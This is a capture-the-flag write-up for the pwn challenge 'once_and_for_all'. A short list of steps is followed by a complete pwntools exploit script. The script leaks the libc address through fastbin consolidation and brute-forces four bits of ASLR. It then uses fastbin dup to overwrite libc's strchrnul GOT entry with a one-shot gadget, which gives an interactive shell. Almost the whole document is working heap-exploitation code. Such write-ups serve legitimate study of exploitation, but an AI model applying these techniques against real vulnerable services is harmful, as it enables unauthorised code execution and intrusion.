Tags: pwn 

Rating:

  1. fastbin consolidate to leak libc
  2. brute force 4 bits of ASLR to get a value of 0x3e into libc got
  3. fastbin dup into libc got
  4. fastbin dup a bit further down
  5. overwrite the strchrnul got entry to one shot gadget
  6. printf calls strchrnul internally -> win
from pwn import *

elf = context.binary = ELF("./once_and_for_all")

libc = ELF("./libc.so.6")

def add(idx, size, payload=b'A'):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': \n', payload)

def fix(idx, size, payload):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': \n', payload)
    p.sendlineafter(b'>> ', b'2')

def free(idx):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(0x0).encode())

def examine(idx):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b': ', str(idx).encode())

def add_big(size):
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b': ', str(size).encode())

def libc_leak():
    add(0, 0x20)
    free(0)
    add_big(0x5b0)
    add(1, 0x28)
    free(0)
    examine(0)
    return u64(p.recv(6).ljust(8, b'\x00'))

while True:
    # p = remote('68.183.37.6', 31490)
    p = process("./once_and_for_all")

    libc.address = libc_leak() - 0x3ebca0
    log.info(f'libc @ 0x{libc.address:x}')

    # 4 bits bruteforce
    if (libc.address + 0x616000) & 0xffff == 0:
        break

    libc.address = 0
    p.close()

# fastbin dup into libc got
add(2, 0x28)
add(3, 0x28)
free(3)
free(2)
free(3)
fix(2, 0x28, p64(libc.address + 0x3eb000 - 8 + 2))  # gef➤  tele 0x7f667597a000+0x3eb000-8+2
                                                    # 0x00007f6675d64ffa│+0x0000: 0xab80000000000000
                                                    # 0x00007f6675d65002│+0x0008: 0x000000000000003e

add(4, 0x28)
add(5, 0x28)
add(6, 0x28, flat({0x20 - 2: 0x40})) # place 0x40 there for the next stage

# fastbin dup a bit further down
add(7, 0x38)
add(8, 0x38)
free(8)
free(7)
free(8)
fix(7, 0x38, p64(libc.address + 0x3eb000 + 0x20))
add(9, 0x38)
add(10, 0x38)
add(11, 0x38, flat({24: libc.address + 0x4f322})) # strchrnul got entry -> one shot

# printf calls strchrnul internally -> win
p.interactive()